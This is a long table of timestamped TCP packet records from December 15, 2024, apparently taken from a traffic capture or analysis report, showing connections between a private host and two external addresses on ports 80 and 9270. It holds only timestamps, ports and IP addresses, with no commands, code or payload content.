Dec 15, 2024 11:59:41.579472065 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.579474926 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.579577923 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.580471039 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.580514908 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.580530882 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.580574036 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.581501007 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.581547976 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.581629038 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.581674099 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.582359076 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.582412004 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.582474947 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.582520008 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.583345890 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.583401918 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.583479881 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.583523035 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.584273100 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.584332943 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.584395885 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.584436893 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.585259914 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.585306883 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.585344076 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.585382938 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.586184978 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.586227894 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.586266994 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.586303949 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.587167025 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.587212086 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.587289095 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.587346077 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.588037968 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.588088989 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.588102102 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.588140965 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.588998079 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.589051008 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.589114904 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.589159966 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.589891911 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.589955091 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.589992046 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.590038061 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.590817928 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.590863943 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.590868950 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.590909004 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.591752052 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.591789961 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.591799021 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.591830015 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.592670918 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.592717886 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.592792034 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.592837095 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.593611002 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.593656063 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.593723059 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.593803883 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.594567060 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.594623089 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.594635963 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.594681025 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.595489025 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.595545053 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.595608950 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.595654011 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.596390009 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.596436977 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.596507072 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.596551895 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.597313881 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.597358942 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.597418070 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.597455025 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.598227024 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.598269939 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.598351002 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.598395109 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.599190950 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.599241018 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.599265099 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.599302053 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.600089073 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.600152969 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.600223064 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.600271940 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.601042986 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.601062059 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.601099968 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.601131916 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.601963043 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.601980925 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.602010965 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.602010965 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.602906942 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.602957964 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.602978945 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.603019953 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.603820086 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.603864908 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.603902102 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.603945971 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.604732037 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.604777098 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.604835033 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.604876995 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.605657101 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.605710983 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.605756998 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.605801105 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.606585026 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.606627941 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.606640100 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.606683016 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.607507944 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.607556105 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.607594967 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.607640028 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.608489990 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.608540058 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.608556986 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.608597040 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.609378099 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.609424114 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.609472990 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.609517097 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.610316992 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.610367060 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.610491037 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.610529900 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.611329079 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.611382961 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.611422062 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.611469030 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.612191916 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.612242937 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.612317085 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.612361908 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.613101006 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.613151073 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.613218069 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.613261938 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.614020109 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.614089012 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.614114046 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.614164114 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.614377022 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:41.614938021 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.614984035 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.615029097 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.615075111 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.615854025 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.615921021 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.615959883 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.616008043 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.616811991 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.616866112 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.616899967 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.616945028 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.617716074 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.617768049 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.617816925 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.617863894 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.618654966 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.618706942 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.618745089 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.618787050 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.619585991 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.619632006 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.619674921 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.619719982 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.620537043 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.620589018 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.620637894 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.620683908 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.621448040 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.621501923 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.621543884 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.621591091 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.622354031 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.622399092 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.622492075 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.622538090 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.623362064 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.623409033 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.623451948 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.623495102 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.624197960 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.624242067 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.624279022 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.624322891 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.625093937 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.625149965 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.649168968 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:41.688097954 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:41.732872963 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:41.768338919 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.768630981 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.768709898 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.768791914 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.768835068 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.768841982 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.768878937 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.769640923 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.769686937 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.769743919 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.769833088 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.770684004 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.770797014 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.770853043 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.771483898 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.771581888 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.771631002 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.772450924 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.772528887 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.772581100 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.773345947 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.773397923 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.773456097 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.774255037 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.774306059 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.774363995 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.774947882 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.775203943 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.775299072 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.775345087 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.775392056 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.776104927 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.776211023 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.776257992 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.777034044 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.777127981 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.777199984 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.777970076 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.778023005 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.778039932 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.778889894 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.778942108 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.779027939 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.779072046 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.779829979 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.780008078 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.780071020 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.780735970 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.780863047 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.780917883 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.781752110 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.781804085 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.781841040 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.782604933 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.782660961 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.782702923 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.783545971 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.783601046 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.783685923 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.784472942 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.784528971 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.784600019 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.784646034 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.785407066 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.785449028 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.785495043 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.785546064 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.786314964 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.786372900 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.786525011 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.786571980 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.787247896 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.787317038 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.787380934 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.788198948 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.788333893 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.788393974 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.789124966 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.789182901 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.789269924 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.789392948 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.790103912 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.790167093 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.790201902 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.790249109 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.790971994 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.791093111 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.791119099 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.791152000 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.791908026 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.791958094 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.792105913 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.792217970 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.792954922 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.793005943 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.793020010 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.793108940 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.793797970 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.793845892 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.793849945 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.793912888 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.794671059 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.794715881 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.794836044 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.794884920 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.795588970 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.795636892 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.795681000 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.795737982 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.796502113 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.796549082 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.796715975 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.797198057 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.797432899 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.797481060 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.797561884 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.797943115 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.798418999 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.798474073 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.798487902 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.798569918 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.799299955 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.799348116 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.799431086 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.799475908 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.800245047 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.800302982 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.800357103 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.800405025 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.801156044 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.801212072 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.801264048 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.801341057 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.802064896 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.802139044 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.802187920 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.802242041 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.803006887 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.803065062 CET	49839	80	192.168.2.4	31.41.244.11
